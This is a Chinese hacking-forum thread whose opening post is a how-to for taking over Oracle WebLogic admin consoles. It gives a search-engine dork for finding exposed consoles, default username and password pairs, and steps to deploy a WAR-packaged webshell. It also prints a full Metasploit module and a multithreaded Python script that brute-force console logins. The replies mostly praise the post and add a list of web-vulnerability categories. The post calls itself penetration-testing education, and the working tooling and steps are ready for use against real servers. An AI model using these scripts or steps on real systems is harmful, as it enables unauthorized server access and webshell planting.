# 中间件的利用-Weblogic

**URL:** <https://forum.90sec.com/t/topic/3638>\
**Category:** 技术文章\
**Created:** [2012 年6 月 3 日 07:56 UTC](https://forum.90sec.com/t/topic/3638 "2012-06-03T07:56:26Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 3 日 07:56 UTC](https://forum.90sec.com/t/topic/3638/1 "2012-06-03T07:56:26Z")

</div>

_本帖最后由 花开若相惜 于 2012-6-3 15:59 编辑_

潜水那么久了,内心感到愧疚啊,给论坛发点自己写的东西......  
(没什么技术性的东西,纯属科普文)  
在渗透测试中有几种服务器是经常见到的，所以作为渗透工程师这些利用的方法也是必须要掌握的。  
比如：Tomcat，weblogic，websphere，jboss，jonas  
这些只要得到了后台的账号密码，就能拿到webshell。  
时间的关系 我现在只写weblogic的 不知道利用方法的，自己google搜索学习。或许哪天我会继续写下去…..  
Weblogic：  
后台页面：[http://127.0.0.1:7001/console](http://127.0.0.1:7001/console)（http为7001，https为7002）  
[外部图片](http://huakai.paxmac.org/wp-content/uploads/login.jpg)  
Google关键字：WebLogic Server Administration Console inurl:console  
（少年们，别去搞破坏）  
默认的用户名密码  
1、用户名密码均为：weblogic  
2、用户名密码均为：system  
3、用户名密码均为：portaladmin  
4、用户名密码均为：guest  
上传地方：  
workshop\> Deployments\> Web应用程序\> 部署新的 Web 应用程序模块…  
上传war的webshell。  
就是jsp文件打包，可以使用jdk/JRE自带的jar命令进行打包。  
命令如下：  
切换到要打包的目录  
jar -cvf job.war \*

[外部图片](http://huakai.paxmac.org/wp-content/uploads/weblogic-uplaod.jpg)

上传后 目标模块-\>部署。  
[外部图片](http://huakai.paxmac.org/wp-content/uploads/shell.jpg)

Webshell地址：[www.site.com/部署名字/shell名字](http://www.site.com/%E9%83%A8%E7%BD%B2%E5%90%8D%E5%AD%97/shell%E5%90%8D%E5%AD%97)  
下面是毒药编写的MSF模块：  
（在跟他在一起工作的时候学到了挺多东西，这里要感谢一下他对我的指导。）##

# $Id: weblogic\_administration.rb 2012-03-06

## 

## 

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# [http://metasploit.com/](http://metasploit.com/)

## 

require 'msf/core'

class Metasploit3 \< Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::WmapScanServer  
include Msf::Auxiliary::Scanner  
def initialize  
super(  
'Name' =\> 'Weblogic Administration Tool Default Access',  
'Version' =\> '',  
'Description' =\>'',  
'References' =\>  
[  
['URL','[http://www.oracle.com/us/products/middleware/application-server/index.htm](http://www.oracle.com/us/products/middleware/application-server/index.htm)'],  
],  
'Author' =\> 'pois0n \<pois0n@9.cn\>',  
'License' =\> MSF\_LICENSE  
)  
register\_options(  
[  
Opt::RPORT(7001),  
OptString.new('WEBLOGIC\_USER',[false,'The username to authenticate as','']),  
OptString.new('WEBLOGIC\_PASS',[false,'The password for the specified username','']),  
],self.class)  
end

def run\_host(ip)  
begin  
res = send\_request\_cgi(  
{  
'uri' =\> '/console/login/LoginForm.jsp',  
'method' =\> 'GET'  
},30)  
http\_fingerprint({:response =\> res})  
# print\_status "#{res.body}"  
if (res and res.code == 200)  
ver ="test"  
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/ADMINCONSOLESESSION=(._);(._)/i))  
adminconsolesessionid = $1  
end  
if res.body.match(/\<TITLE\>WebLogic(.\*)\</TITLE\>/i)  
ver ="WebLogic" + $1  
end  
#print\_status "#{ver}"  
user =datastore['WEBLOGIC\_USER'].to\_s  
pass =datastore['WEBLOGIC\_PASS'].to\_s  
if user.length == 0  
default\_usernames = ['portaladmin','system','guest','admin','weblogic']  
else  
default\_usernames = [user]  
end

```
			if pass.length == 0
				default_passwords = ['portaladmin','weblogic','admin','system','guest']
			else
				default_passwords = [pass]
    end
    default_usernames.each do |username|
      default_passwords.each do |password|
          post_data = "j_username=#{username}&j_password=#{password}"
          res = send_request_cgi(
              {
                  'uri' =&gt; '/console/j_security_check',
                  'method' =&gt; 'POST',
                  'content-type' =&gt; 'application/x-www-form-urlencoded',
                  'cookie' =&gt; "ADMINCONSOLESESSION=#{adminconsolesessionid}",
                  'data' =&gt; post_data,
              }, 30)
          #print_status "#{res.body}"
          if (res.code ==302)
            res = send_request_cgi(
                {
                    'uri' =&gt; "/console",
                    'method' =&gt; 'GET',
                    'cookie' =&gt; "ADMINCONSOLESESSION=#{adminconsolesessionid}",
                }, 30)
            if (res.code == 302)
              res = send_request_cgi(
                  {
                      'uri' =&gt; "/console/actions/common/PreferencesAction",
                      'method' =&gt; 'GET',
                      'cookie' =&gt; "ADMINCONSOLESESSION=#{adminconsolesessionid}",
                  }, 30)
              if (res.code == 200)
                print_good "Successful login:: http://#{target_host}:#{rport}/console# [#{ver}] [WebLogic Server Administration] #{username}:#{password}"
              end
              res = send_request_cgi(
                  {
                      'uri' =&gt; "/console/actions/common/LogoutAction",
                      'method' =&gt; 'GET',
                      'cookie' =&gt; "ADMINCONSOLESESSION=#{adminconsolesessionid}",
                  }, 30)
              end
            end
        end
    end
  end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end

```

end  
end使用方法：  
use 模块-\>show options-\>set RHOSTS ip-\>exploit  
[外部图片](http://huakai.paxmac.org/wp-content/uploads/set-ip.jpg)  
[外部图片](http://huakai.paxmac.org/wp-content/uploads/success.jpg)

下面是我用Python写的利用代码，是我昨天发布的通用后台爆破脚本做了一点点修改。  
Python利用代码：

```python

#/usr/bin python
# -*- coding: cp936 -*-
import httplib,urllib,sys,os
import threading
import Queue
import re
def info():
    print '''

=========================================
            Weblogic login crack

              uage:xx.py url

          WelCome to www.paxmac.org    

                         By: 花开、若相惜
                           Pax.Mac Team
=========================================

    '''
if len(sys.argv) < 2:
    info()
else:
    url=sys.argv[1]
    info()
    uname_count = len(open('uname.txt','rU').readlines())
    print '你的账号条数：%d'%(uname_count)
    pwd_count = len(open('pwd.txt','rU').readlines())
    print '你的密码条数：%d'%(pwd_count)
    print '正在破解........'
    conn = httplib.HTTPConnection(url,7001)
    conn.request("GET",'/console/login/LoginForm.jsp')
    cookie=conn.getresponse().getheaders()
    string=str(cookie[1])
    pattern = re.compile(r'ADMINCONSOLESESSION=(.*);')
    match = pattern.search(string)
    if match:
        cookie=match.group()

queue=Queue.Queue()#创建一个队列对象

success=[]
class ThreadUrl(threading.Thread):
   def __init__ (self,queue):
      threading.Thread. __init__ (self)
      self.queue=queue
   def run(self):
       while True:
           try:
               if(Queue.Empty):
                   pwd=self.queue.get()
               else:
                    break
               params = urllib.urlencode({'j_username':LOG,
                          'j_password':pwd
                           })
               headers = {"Content-Type":"application/x-www-form-urlencoded",
                   "Connection":"Keep-Alive","Cookie":cookie}
               conn = httplib.HTTPConnection(url,7001)
               conn.request(method="POST",url='/console/j_security_check',body=params,headers=headers)
               response = conn.getresponse()
               if response.status == 302:
                   final="破解成功!^_^!账号：%s密码：%s"%(LOG,pwd)

```

print final  
success.append(final)  
else:  
conn.close()  
except:  
print '连接超时'  
self.queue.task\_done()

```python
def main():
    for i in range(10):
        t=ThreadUrl(queue)
        t.setDaemon(True)
        t.start()
    names = [line.rstrip() for line in open("uname.txt")]
    pwds = [line.rstrip() for line in open("pwd.txt")]
    for log in names:

```

global LOG  
LOG=''  
LOG=log  
for pwd in pwds:  
p=pwd  
queue.put(p)  
queue.join()  
if **name** == ' **main**':  
main()  
txt=('%s.txt')%(sys.argv[1])  
for x in success:  
file=open(txt,'w')  
file.write(x)  
file.close()

[外部图片](http://huakai.paxmac.org/wp-content/uploads/py-success1.jpg)  
ps:一个账号超过5次错误会锁定一个小时(时间如果没记错的话)。有人跟我说没多少可以利用的,事实上是因为企业都放在内网了,很多企业的内网都存在着弱口令......

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 3 日 08:08 UTC](https://forum.90sec.com/t/topic/3638/2 "2012-06-03T08:08:40Z")

</div>

什么东西{:4\_67:}

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 3 日 08:12 UTC](https://forum.90sec.com/t/topic/3638/3 "2012-06-03T08:12:20Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=28009&ptid=2470) _晴天小铸_ \*\*

{:4\_21:} 写的还不够详细么

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 3 日 08:17 UTC](https://forum.90sec.com/t/topic/3638/4 "2012-06-03T08:17:07Z")

</div>

\*\*回复 [3#](http://www.90sec.org/redirect.php?goto=findpost&pid=28010&ptid=2470) _花开若相惜_ \*\*

```
我菜鸟 知道你详细,我没接触过 不知道什么东西罢了- -||||

```

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2012 年6 月 3 日 08:30 UTC](https://forum.90sec.com/t/topic/3638/5 "2012-06-03T08:30:35Z")

</div>

晴天小铸不知道是什么东西，是正常的，毕竟这手法并不是主流手法，怎么说呢，对于中小型企业来说，他们不会使用java来部署应用程序，他们更倾向于小巧简洁的asp/php/.net等框架，一般情况下，只有有一定实力的企业才会使用weblogic，而对于一个搞渗透测试的安全攻城狮来说，LZ你接触的搞安全的企业/单位肯定是实力很强的很有钱的，他们才会用weblogic，而一般情况下的常规渗透是不会接触到的，这是正常的。

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 3 日 08:41 UTC](https://forum.90sec.com/t/topic/3638/6 "2012-06-03T08:41:38Z")

</div>

\*\*回复 [5#](http://www.90sec.org/redirect.php?goto=findpost&pid=28013&ptid=2470) _杨凡_ \*\*  
0x01 web应用漏洞  
sql注入(普通注入\盲注\cookie注入)  
文件上传  
任意文件下载(数据库下载)  
XSS  
CRSF  
远程包含  
本地包含  
代码执行  
变量覆盖  
cookie欺骗  
弱口令  
目录遍历  
编辑器漏洞  
敏感信息泄露  
备份文件  
第三方框架(thinkphp\struts2)

webservice(这个貌似可以单独成一个项?)

0x02 web中间件\组件漏洞  
iis解析漏洞,webdav可写,iis5的远程溢出  
apache解析漏洞  
nginx解析漏洞  
php-cgi远程代码执行  
appche tomacat管理后台  
weblogic管理后台  
Jboss管理后台  
jonas管理后台

0x03 基于web的第三方应用  
vnc,vpn,甚至一些安全设备自身存在的漏洞

转载自：[http://zone.wooyun.org/content/278](http://zone.wooyun.org/content/278)  
所以我发出来 当做科普文了。

---

<div class="post-metadata">

作者： ![MythHack](https://forum.90sec.com/user_avatar/forum.90sec.com/mythhack/32/775_2.png) [@MythHack](https://forum.90sec.com/u/MythHack)\
发布日期： [2012 年6 月 3 日 08:44 UTC](https://forum.90sec.com/t/topic/3638/7 "2012-06-03T08:44:11Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=28007&ptid=2470) _花开若相惜_ \*\*

```
这个玩应应该不用批量吧。。 外网不是很常见 不过也有。。

```

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 3 日 08:50 UTC](https://forum.90sec.com/t/topic/3638/8 "2012-06-03T08:50:54Z")

</div>

\*\*回复 [7#](http://www.90sec.org/redirect.php?goto=findpost&pid=28019&ptid=2470) _MythHack_ \*\*  
外网的没去测试,内网大网段扫描是必须的。不过现在的漏洞扫描器极光 天境什么的都有这功能了。我也就是写着玩玩....

---

<div class="post-metadata">

作者： ![wugui](https://forum.90sec.com/user_avatar/forum.90sec.com/wugui/32/11351_2.png) [@wugui](https://forum.90sec.com/u/wugui)\
发布日期： [2012 年6 月 3 日 10:02 UTC](https://forum.90sec.com/t/topic/3638/9 "2012-06-03T10:02:10Z")

</div>

嗯。楼主是在一个很有实力的公司上班。~！

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 3 日 10:14 UTC](https://forum.90sec.com/t/topic/3638/10 "2012-06-03T10:14:48Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=28024&ptid=2470) _wugui_ \*\*

{:4\_32:} 辞职了 求上海地区的工作。

---

<div class="post-metadata">

作者： ![feng2020](https://forum.90sec.com/user_avatar/forum.90sec.com/feng2020/32/2980_2.png) [@feng2020](https://forum.90sec.com/u/feng2020)\
发布日期： [2012 年6 月 3 日 10:46 UTC](https://forum.90sec.com/t/topic/3638/11 "2012-06-03T10:46:37Z")

</div>

这个的确是很少接触的一类型。。。

---

<div class="post-metadata">

作者： ![54966850](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/ed8c4c/32.png) [@54966850](https://forum.90sec.com/u/54966850)\
发布日期： [2012 年6 月 3 日 14:05 UTC](https://forum.90sec.com/t/topic/3638/12 "2012-06-03T14:05:01Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=28017&ptid=2470) _花开若相惜_ \*\*

```
恩，这个讲的蛮全的了

```

---

<div class="post-metadata">

作者： ![conqu3r](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9fc348/32.png) [@conqu3r](https://forum.90sec.com/u/conqu3r)\
发布日期： [2012 年6 月 4 日 01:05 UTC](https://forum.90sec.com/t/topic/3638/13 "2012-06-04T01:05:40Z")

</div>

花开这工具遍地传了.哈哈....我是不是也该赶紧弄几个出来,宣传宣传!

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 4 日 01:11 UTC](https://forum.90sec.com/t/topic/3638/14 "2012-06-04T01:11:01Z")

</div>

\*\*回复 [13#](http://www.90sec.org/redirect.php?goto=findpost&pid=28058&ptid=2470) _conqu3r_ \*\*

{:4\_51:} 你赶紧跟上脚步...

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 4 日 05:25 UTC](https://forum.90sec.com/t/topic/3638/15 "2012-06-04T05:25:46Z")

</div>

\*\*回复 [5#](http://www.90sec.org/redirect.php?goto=findpost&pid=28013&ptid=2470) _杨凡_ \*\*

```
Thank

```

---

<div class="post-metadata">

作者： ![2558982655f](https://forum.90sec.com/letter_avatar_proxy/v4/letter/2/b9bd4f/32.png) [@2558982655f](https://forum.90sec.com/u/2558982655f)\
发布日期： [2012 年6 月 5 日 03:38 UTC](https://forum.90sec.com/t/topic/3638/16 "2012-06-05T03:38:46Z")

</div>

哎 小菜 看的不太明白

---

<div class="post-metadata">

作者： ![cygmris](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9d8465/32.png) [@cygmris](https://forum.90sec.com/u/cygmris)\
发布日期： [2012 年6 月 5 日 07:29 UTC](https://forum.90sec.com/t/topic/3638/17 "2012-06-05T07:29:09Z")

</div>

不错呀,引导了我的思路

---

<div class="post-metadata">

作者： ![zyq8709](https://forum.90sec.com/user_avatar/forum.90sec.com/zyq8709/32/11658_2.png) [@zyq8709](https://forum.90sec.com/u/zyq8709)\
发布日期： [2012 年6 月 8 日 14:26 UTC](https://forum.90sec.com/t/topic/3638/18 "2012-06-08T14:26:43Z")

</div>

入门小白学习了，好好看看

---

<div class="post-metadata">

作者： ![sucre](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/f0a364/32.png) [@sucre](https://forum.90sec.com/u/sucre)\
发布日期： [2012 年6 月 8 日 15:09 UTC](https://forum.90sec.com/t/topic/3638/19 "2012-06-08T15:09:40Z")

</div>

哈哈，LZ很给力、、{:4\_92:}

---

<div class="post-metadata">

作者： ![Mr\_Mario](https://forum.90sec.com/user_avatar/forum.90sec.com/mr_mario/32/11551_2.png) [@Mr\_Mario](https://forum.90sec.com/u/Mr_Mario)\
发布日期： [2013 年8 月 14 日 02:23 UTC](https://forum.90sec.com/t/topic/3638/20 "2013-08-14T02:23:31Z")

</div>

MARK 楼主好分享
